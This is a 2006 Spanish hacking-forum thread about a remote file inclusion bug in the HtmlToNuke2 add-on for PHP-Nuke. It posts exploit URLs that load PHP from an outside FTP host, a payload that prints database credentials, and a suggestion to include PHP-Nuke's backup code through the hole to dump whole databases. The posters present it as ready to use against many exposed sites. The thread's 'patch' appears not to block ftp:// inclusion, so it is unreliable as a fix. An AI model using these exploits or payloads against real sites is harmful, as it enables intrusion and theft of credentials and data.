elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:13  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Nuevo bug en Php-Nuke
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Nuevo bug en Php-Nuke  (Leído 1,964 veces)
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Nuevo bug en Php-Nuke
« en: 5 Mayo 2006, 02:44 »

Hay un nuevo bug, que creo que todavia no ha sido reportado, es increible la cantidad de webs expuestas...
Este bug se aprovecha de la siguiente manera:

http://www.ejemplo.com/html.php?file=ftp://ftp.shell.com/shell.html
http://www.ejemplo.com/html.php?file=ftp://ftp.shell.com/shell.htm
http://www.ejemplo.com/html.php?file=ftp://user:pass@ftp.shell.com/shell.html
http://www.ejemplo.com/html.php?file=ftp://user:pass@ftp.shell.com/shell.htm

Ejemplo del contenido del archivo "shell.html" :
Código:
<?
echo "dbhost: $dbhost<br>";
echo "dbuname: $dbuname<br>";
echo "dbpass: $dbpass<br>";
echo "dbname: $dbname<br>";
echo "prefix: $prefix<br>";
echo "user_prefix: $user_prefix<br>";
?>

Descubierto por Alexis Demartino (alias XploiT o XploithacK)

Explicacion de la vulnerabilidad, uso y mas utilidades para el bug
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re: Nuevo bug en Php-Nuke
« Respuesta #1 en: 5 Mayo 2006, 04:42 »

Rula, ya creo haberlo testiado el viernes pasado y podemos hacer algunas variables???  :P,saludos
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
el-brujo
ehn
***
Desconectado Desconectado

Mensajes: 17.232


La libertad no se suplica, se conquista


Ver Perfil WWW
Re: Nuevo bug en Php-Nuke
« Respuesta #2 en: 5 Mayo 2006, 19:22 »

pues si que funciona si...

Es un bug de en un add-on para el php-nuke llamado "HtmlToNuke2" y me parece que no es la primera vez que tiene algún fallo de seguridad.

El parche:

Código:
<?php

/************************************************************************/
/* Adaptación de htmltonuke 2.0alpha for postnuke
/* Copyright (c) 2001 by Lebios (webmaster@lebios.com)
/*
/* Modificado por jess (jordi.flores@dimensis.com)
/* www.dimensis.com - http://univers-es.dimensis.net
/*
/* Utilización: Tan sólo tienes que utilizar la siguiente ruta para llamar a tus
/* archivos con extensión html o htm:
/* html.php?file=dir/archivo.html (dir equivale al directorio donde esté tu archivo)
/*
/* This program is free software. You can redistribute it and/or modify
/* it under the terms of the GNU General Public License as published by
/* the Free Software Foundation; either version 2 of the License.
/************************************************************************/


if (!isset($mainfile)) { include("mainfile.php"); }
$index = 0;
include("header.php");
OpenTable();


if(substr($file,-4)!=".htm" && substr($file,-5)!=".html" ){

echo "Solo se pueden mostrar ficheros con extensión html o htm...";
CloseTable();
include("footer.php");

}

else {

if (eregi("://", $file)) {
Header("Location: index.php");
}

if( substr($file,0,5)!="./../" && substr($file,0,7)!="http://" ){

include ($file);
CloseTable();
include("footer.php");

}

else {

echo "No esta autorizado a ver una página que no pertenezca a este sitio...";
CloseTable();
//include("footer.php");

}
}

?>
En línea

"elhacker.net es único, por eso no fabrica para otras marcas"  - Prohibido prohibir

oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re: Nuevo bug en Php-Nuke
« Respuesta #3 en: 6 Mayo 2006, 05:46 »

Hola, no se ustedes mas pero yo le veo como RFI, pues tiene todas las caracteristicas, claro que se puede hacer variables poniendo cualquier cosa adicional los codigos php en el html, ademas cuando pruebo mi propio .html, lo lanzo con la web vulnerable al rato le hago un RFI, y rula igual  :P.
yo lo veo la vulnerabilidad como una variable al RFI , claro el modo de explotacion "html.php?file=" , saludos  ;D
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Nuevo bug en Php-Nuke
« Respuesta #4 en: 6 Mayo 2006, 14:16 »

Código:
<?
echo "dbhost: $dbhost<br>";
echo "dbuname: $dbuname<br>";
echo "dbpass: $dbpass<br>";
echo "dbname: $dbname<br>";
echo "prefix: $prefix<br>";
echo "user_prefix: $user_prefix<br>";
?>


Si esto funciona, entonces tambien puedes hacer un backup completo de la base de datos, aunque MySQL no acepte conexiones remotas.

Este código se encuentra fácilmente en la opción de "Respaldo" del PHP-Nuke.

Código:
<?php

/************************************************************************/
/* PHP-NUKE: Web Portal System                                          */
/* ===========================                                          */
/*                                                                      */
/* Save the database of a PHPNuke web site                              */
/*                                                                      */
/* Copyright (c) 2001 by Thomas Rudant (thomas.rudant@grunk.net)        */
/* http://www.grunk.net                                                 */
/* http://www.securite-internet.org                                     */
/* */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License.       */
/************************************************************************/
/*         Additional security & Abstraction layer conversion           */
/*                           2003 chatserv                              */
/*      http://www.nukefixes.com -- http://www.nukeresources.com        */
/************************************************************************/

global $prefix, $db, $admin_file;
if (!eregi("".$admin_file.".php", $_SERVER['SCRIPT_NAME'])) { die ("Access Denied"); }
$aid = substr("$aid", 0,25);
$row = $db->sql_fetchrow($db->sql_query("SELECT radminsuper FROM " . $prefix . "_authors WHERE aid='$aid'"));
if ($row['radminsuper'] == 1) {

switch($op) {

case "backup":
@set_time_limit(600);
$crlf="\n";

switch($lang)
{
case french :
// French Text
$strNoTablesFound = "Aucune table n'a été trouvée dans cette base.";
$strHost = "Serveur";
$strDatabase = "Base de données";
$strTableStructure = "Structure de la table";
$strDumpingData = "Contenu de la table";
$strError = "Erreur";
$strSQLQuery = "requête SQL";
$strMySQLSaid = "MySQL a répondu:";
$strBack = "Retour";
$strFileName = "Sauvegarde BD";
$strName = "Sauvegarde de la base de données";
$strDone = "effectuée le";
$strat = "à";
$strby = "par";
$date_jour = date ("d-m-Y");
break;

default :
// English Text
$strNoTablesFound = "No tables found in database.";
$strHost = "Host";
$strDatabase = "Database ";
$strTableStructure = "Table structure for table";
$strDumpingData = "Dumping data for table";
$strError = "Error";
$strSQLQuery = "SQL-query";
$strMySQLSaid = "MySQL said: ";
$strBack = "Back";
$strFileName = "Save Database";
$strName = "Database saved";
$strDone = "On";
$strat = "at";
$strby = "by";
$date_jour = date ("m-d-Y");
break;
}

header("Content-disposition: filename=$strFileName $dbname $date_jour.sql");
header("Content-type: application/octetstream");
header("Pragma: no-cache");
header("Expires: 0");

// doing some DOS-CRLF magic...
$client = $_SERVER["HTTP_USER_AGENT"];
if(ereg('[^(]*\((.*)\)[^)]*',$client,$regs))
{
$os = $regs[1];
// this looks better under WinX
if (eregi("Win",$os))
    $crlf="\r\n";
}


function my_handler($sql_insert)
{
    global $crlf;
    echo "$sql_insert;$crlf";
}

// Get the content of $table as a series of INSERT statements.
// After every row, a custom callback function $handler gets called.
// $handler must accept one parameter ($sql_insert);
function get_table_content($db, $table, $handler)
{
    $result = mysql_db_query($db, "SELECT * FROM $table") or mysql_die();
    $i = 0;
    while($row = mysql_fetch_row($result))
    {
//        set_time_limit(60); // HaRa
        $table_list = "(";

        for($j=0; $j<mysql_num_fields($result);$j++)
            $table_list .= mysql_field_name($result,$j).", ";

        $table_list = substr($table_list,0,-2);
        $table_list .= ")";

        if(isset($GLOBALS["showcolumns"]))
            $schema_insert = "INSERT INTO $table $table_list VALUES (";
        else
            $schema_insert = "INSERT INTO $table VALUES (";

        for($j=0; $j<mysql_num_fields($result);$j++)
        {
            if(!isset($row[$j]))
                $schema_insert .= " NULL,";
            elseif($row[$j] != "")
                $schema_insert .= " '".addslashes($row[$j])."',";
            else
                $schema_insert .= " '',";
        }
        $schema_insert = ereg_replace(",$", "", $schema_insert);
        $schema_insert .= ")";
        $handler(trim($schema_insert));
        $i++;
    }
    return (true);
}

// Return $table's CREATE definition
// Returns a string containing the CREATE statement on success
function get_table_def($db, $table, $crlf)
{
    $schema_create = "";
    //$schema_create .= "DROP TABLE IF EXISTS $table;$crlf";
    $schema_create .= "CREATE TABLE $table ($crlf";

    $result = mysql_db_query($db, "SHOW FIELDS FROM $table") or mysql_die();
    while($row = mysql_fetch_array($result))
    {
        $schema_create .= "   $row[Field] $row[Type]";

        if(isset($row["Default"]) && (!empty($row["Default"]) || $row["Default"] == "0"))
            $schema_create .= " DEFAULT '$row[Default]'";
        if($row["Null"] != "YES")
            $schema_create .= " NOT NULL";
        if($row["Extra"] != "")
            $schema_create .= " $row[Extra]";
        $schema_create .= ",$crlf";
    }
    $schema_create = ereg_replace(",".$crlf."$", "", $schema_create);
    $result = mysql_db_query($db, "SHOW KEYS FROM $table") or mysql_die();
    while($row = mysql_fetch_array($result))
    {
        $kname=$row['Key_name'];
        if(($kname != "PRIMARY") && ($row['Non_unique'] == 0))
            $kname="UNIQUE|$kname";
         if(!isset($index[$kname]))
             $index[$kname] = array();
         $index[$kname][] = $row['Column_name'];
    }

    while(list($x, $columns) = @each($index))
    {
         $schema_create .= ",$crlf";
         if($x == "PRIMARY")
             $schema_create .= "   PRIMARY KEY (" . implode($columns, ", ") . ")";
         elseif (substr($x,0,6) == "UNIQUE")
            $schema_create .= "   UNIQUE ".substr($x,7)." (" . implode($columns, ", ") . ")";
         else
            $schema_create .= "   KEY $x (" . implode($columns, ", ") . ")";
    }

    $schema_create .= "$crlf)";
    return (stripslashes($schema_create));
}

function mysql_die($error = "")
{
    echo "<b> $strError </b><p>";
    if(isset($sql_query) && !empty($sql_query))
    {
        echo "$strSQLQuery: <pre>$sql_query</pre><p>";
    }
    if(empty($error))
        echo $strMySQLSaid.mysql_error();
    else
        echo $strMySQLSaid.$error;
    echo "<br><a href=\"javascript:history.go(-1)\">$strBack</a>";
    exit;
}

global $dbhost, $dbuname, $dbpass, $dbname;
mysql_pconnect($dbhost, $dbuname, $dbpass);
@mysql_select_db("$dbname") or die ("Unable to select database");

$tables = mysql_list_tables($dbname);

$num_tables = @mysql_numrows($tables);
if($num_tables == 0)
{
    echo $strNoTablesFound;
}
else
{
    $i = 0;
    $heure_jour = date ("H:i");
    print "# ========================================================$crlf";
    print "#$crlf";
    print "# $strName : $dbname$crlf";
    print "# $strDone $date_jour $strat $heure_jour $strby $name !$crlf";
    print "#$crlf";
    print "# ========================================================$crlf";
    print "$crlf";

    while($i < $num_tables)
    {
        $table = mysql_tablename($tables, $i);

        print $crlf;
        print "# --------------------------------------------------------$crlf";
        print "#$crlf";
        print "# $strTableStructure '$table'$crlf";
        print "#$crlf";
        print $crlf;

        echo get_table_def($dbname, $table, $crlf).";$crlf$crlf";

print "#$crlf";
print "# $strDumpingData '$table'$crlf";
print "#$crlf";
print $crlf;

get_table_content($dbname, $table, "my_handler");

        $i++;
    }
}
break;
}

} else {
    echo "Access Denied";
}

?>
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines